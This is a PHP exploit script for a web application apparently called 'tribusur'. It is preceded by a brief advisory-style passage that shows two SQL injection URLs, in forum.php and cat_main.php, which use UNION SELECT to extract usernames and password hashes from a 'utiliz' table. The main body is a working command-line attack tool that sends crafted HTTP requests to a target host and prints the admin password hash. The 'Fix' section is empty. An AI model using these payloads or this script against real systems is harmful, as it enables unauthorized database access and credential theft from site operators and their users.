#!/usr/bin/php -q And now the bugged code :-) : So we can exploit it with this simple PoC: forum.php?action=liste&cat=-1+union+select+0,concat(pseudo,0x3a,passe),0,0,0,0,0,0,0,0+from+utiliz+where+id=1 Bug #2 in cat_main.php : So like the first we can exploit it with: cat_main.php?id=-1+union+select+0,concat(pseudo,0x3a,passe),0,0,0,0,0,0+from+utiliz+where+id=1 Fix : Exploit : */ if ($argc<4) { echo "[*]Usage: php ".$argv[0]." host path mode\r\n"; echo "[*]Mode: 1 -SQL Injection in cat_main.php-\r\n"; echo " 2 -SQL Injection in modules/forum/liste.php-\r\n"; echo "[*]Example:\r\n"; echo "[*]php ".$argv[0]." localhost /tribusur/ 1\r\n"; die; } function get_response($packet){ global $host, $response; $socket=fsockopen(gethostbyname($host),80); if (!$socket) { echo "[-]Error contacting $host.\r\n"; exit();} fputs($socket,$packet); $response=''; while (!feof($socket)) { $response.=fgets($socket); } fclose($socket); } $host =$argv[1]; $path =$argv[2]; $mode =$argv[3]; if($mode == "1"){ $packet ="GET ".$path."cat_main.php?id=-1+union+select+0,concat(0x78306b73746572,passe,0x78306b73746572),0,0,0,0,0,0+from+utiliz+where+id=1/*"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; }elseif($mode == "2"){ $packet ="GET ".$path."forum.php?action=liste&cat=-1+union+select+0,concat(0x78306b73746572,passe,0x78306b73746572),0,0,0,0,0,0,0,0+from+utiliz+where+id=1/*"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; }else{ echo "[-]Incorrect Mode.\r\n"; die; } get_response($packet); if(strstr($response,"x0kster")){ $hash = explode("x0kster",$response,32); echo "[+]Ok, the admin hash is : $hash[1]\r\n"; die; }else{ echo "[-]Exploit filed, maybe fixed?\r\n"; die; } ?>